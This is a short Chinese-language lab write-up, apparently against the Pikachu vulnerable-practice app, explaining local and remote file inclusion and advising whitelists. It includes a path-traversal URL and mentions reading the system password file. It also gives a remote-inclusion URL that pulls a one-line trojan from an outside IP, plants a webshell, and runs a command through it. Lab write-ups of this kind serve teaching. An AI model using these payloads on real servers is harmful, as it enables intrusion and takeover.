分成本地文件包含和远程文件包含
1.本地文件包含漏洞:仅能够对服务器本地的文件进行包含,由于服务器上的文件并不是攻击者所能够控制的,因此该情况下,攻击着更多的会包含一些 固定的系统配置文件,从而读取系统敏感信息。很多时候本地文件包含漏洞会结合一些特殊的文件上传漏洞,从而形成更大的威力。
2.远程文件包含漏洞:能够通过url地址对远程的文件进行包含,这意味着攻击者可以传入任意的代码,这种情况没啥好说的,准备挂彩。
因此,在web应用系统的功能设计上尽量不要让前端用户直接传变量给包含函数,如果非要这么做,也一定要做严格的白名单策略进行过滤。
本地文件包含:
在url中发现打开了本地的file1.php
根据后台发现没有进行限制,也没有设置白名单。我们可以改成服务器中的其他文件,如果是linux系统可以查看etc中的password文件。
我们服务器是win所以:http://192.168.0.105/pikachu/vul/fileinclude/fi_local.php?filename=../../../assets/css/ace.min.css&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2
远程文件包含:
首先在远端我们有一个可以写入木马的恶意文件
在有文件包含漏洞的url中调用恶意文件:
http://192.168.0.105/pikachu/vul/fileinclude/fi_remote.php?filename=http://101.200.56.135/pikachu/test/yijuhua.txt&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2
然后发现在他的同级目录下产生了木马文件:
然后就可以用菜刀连接 这是get型 可以直接在url中输入命令对其进行控制:
http://192.168.0.105/pikachu/vul/fileinclude/yijuhua.php?x=ipconfig